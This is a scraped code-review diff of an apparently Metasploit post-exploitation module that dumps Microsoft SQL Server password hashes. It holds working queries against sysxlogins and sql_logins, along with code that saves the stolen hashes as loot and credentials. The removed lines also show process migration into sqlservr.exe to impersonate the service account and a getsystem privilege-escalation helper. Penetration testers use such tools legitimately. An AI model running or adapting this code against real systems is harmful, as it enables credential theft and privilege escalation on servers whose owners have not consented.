def get_sql_hash(sqlclient,instance,service_instance,verbose)
|
||||
|
||||
version_year = get_sql_version(sqlclient,instance,service_instance,verbose)
|
||||
def get_sql_hash(instance_name)
|
||||
version_year = get_sql_version(instance_name)
|
||||
|
||||
case version_year
|
||||
when "2000"
|
||||
hashtype = "mssql"
|
||||
mssql_password_hashes_query = "SELECT name+':'+master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins"
|
||||
hash_type = "mssql"
|
||||
query = mssql_2k_password_hashes
|
||||
when "2005", "2008"
|
||||
hashtype = "mssql05"
|
||||
mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins"
|
||||
hash_type = "mssql05"
|
||||
query = mssql_2k5_password_hashes
|
||||
when "2012", "2014"
|
||||
hashtype = "mssql12"
|
||||
mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins"
|
||||
hash_type = "mssql12"
|
||||
query = mssql_2k5_password_hashes
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
|
||||
end
|
||||
|
||||
print_status("Attempting to get password hashes...")
|
||||
|
||||
# Setup command format to accomidate version inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "MSSQLSERVER" then
|
||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
|
||||
end
|
||||
get_hash_result = run_sql(query, instance_name)
|
||||
|
||||
if get_hash_result.include?('0x')
|
||||
# Parse Data
|
||||
hash_array = get_hash_result.split("\r\n").grep(/0x/)
|
||||
|
||||
store_hashes(hash_array, hash_type)
|
||||
else
|
||||
# User defined instance
|
||||
print_status(" o defined instance: #{instance}") if verbose == "true"
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200"
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
|
||||
end
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Running command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
get_hash_result = run_cmd("#{sqlcommand}")
|
||||
#print_good("Raw Result: \n#{get_hash_result}")
|
||||
|
||||
|
||||
# Parse Data
|
||||
get_hash_array = get_hash_result.split("\n").grep(/:/)
|
||||
|
||||
def store_hashes(hash_array, hash_type)
|
||||
# Save data
|
||||
loot_hashes = ""
|
||||
get_hash_array.each do |row|
|
||||
user = row.strip.split(":")[0]
|
||||
hash = row.strip.split(":")[1]
|
||||
hash_array.each do |row|
|
||||
user, hash = row.strip.split
|
||||
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(rhost,true),
|
||||
port: rport,
|
||||
service_name: 'mssql',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'mssql',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Initialize Metasploit::Credential::Core object
|
||||
|
@ -286,7 +137,7 @@ class Metasploit3 < Msf::Post
|
|||
private_data: hash,
|
||||
username: user,
|
||||
session_id: session_db_id,
|
||||
jtr_format: hashtype,
|
||||
jtr_format: hash_type,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
|
@ -303,127 +154,20 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
login = create_credential_login(login_data)
|
||||
create_credential_login(login_data)
|
||||
|
||||
print_good("#{rhost} Saving = #{user}:#{hash}")
|
||||
print_line("#{user}:#{hash}")
|
||||
|
||||
loot_hashes << user+":"+hash+"\n"
|
||||
|
||||
loot_hashes << "#{user}:#{hash}\n"
|
||||
end
|
||||
if loot_hashes != ""
|
||||
|
||||
unless loot_hashes.empty?
|
||||
# Store MSSQL password hash as loot
|
||||
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
|
||||
print_good("MSSQL password hash saved in: #{loot_path}")
|
||||
return 1
|
||||
return true
|
||||
else
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for executing cmd and returning the response
|
||||
## Note: This is from one of Jabra's modules - Thanks man!
|
||||
##----------------------------------------------
|
||||
def run_cmd(cmd,token=true)
|
||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
||||
process = session.sys.process.execute(cmd, nil, opts)
|
||||
res = ""
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
process.close
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for impersonating sql server instance
|
||||
## Taken from mssql_local_auth_bypass
|
||||
## Thanks Scott Sutherland !
|
||||
## ----------------------------------------------
|
||||
def impersonate_sql_user(service_instance,verbose)
|
||||
|
||||
# Print the current user
|
||||
blah = session.sys.config.getuid if verbose == "true"
|
||||
print_status("Current user: #{blah}") if verbose == "true"
|
||||
|
||||
# Define target user/pid
|
||||
targetuser = ""
|
||||
targetpid = ""
|
||||
|
||||
# Identify SQL Server service processes
|
||||
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
|
||||
session.sys.process.get_processes().each do |x|
|
||||
|
||||
# Search for all sqlservr.exe processes
|
||||
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
|
||||
|
||||
# Found one
|
||||
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
|
||||
|
||||
# Define target pid / user
|
||||
if x['user'] =~ /NT SERVICE/ then
|
||||
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
|
||||
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
|
||||
targetpid = x['pid']
|
||||
end
|
||||
else
|
||||
targetuser = x['user']
|
||||
targetpid = x['pid']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Attempt to migrate to target sqlservr.exe process
|
||||
if targetuser == "" then
|
||||
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
|
||||
return 0
|
||||
else
|
||||
begin
|
||||
# Migrating works, but I can't rev2self after its complete
|
||||
print_status("Attempting to migrate to process #{targetpid}...")
|
||||
session.core.migrate(targetpid.to_i)
|
||||
|
||||
# Statusing
|
||||
blah = session.sys.config.getuid if verbose == "true"
|
||||
print_status("Current user: #{blah}") if verbose == "true"
|
||||
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
|
||||
return 1
|
||||
rescue
|
||||
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to become SYSTEM if required
|
||||
## Note: This is from one of Jabra's modules.
|
||||
## ----------------------------------------------
|
||||
def givemesystem
|
||||
|
||||
# Statusing
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
|
||||
# Check if user is system
|
||||
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
|
||||
print_status("User is SYSTEM")
|
||||
return 1
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_error("User is NOT SYSTEM")
|
||||
print_status("Attempting to get SYSTEM privileges...")
|
||||
system_status = session.priv.getsystem
|
||||
if system_status[0]
|
||||
print_good("Success!, user is now SYSTEM")
|
||||
return 1
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
return 0
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue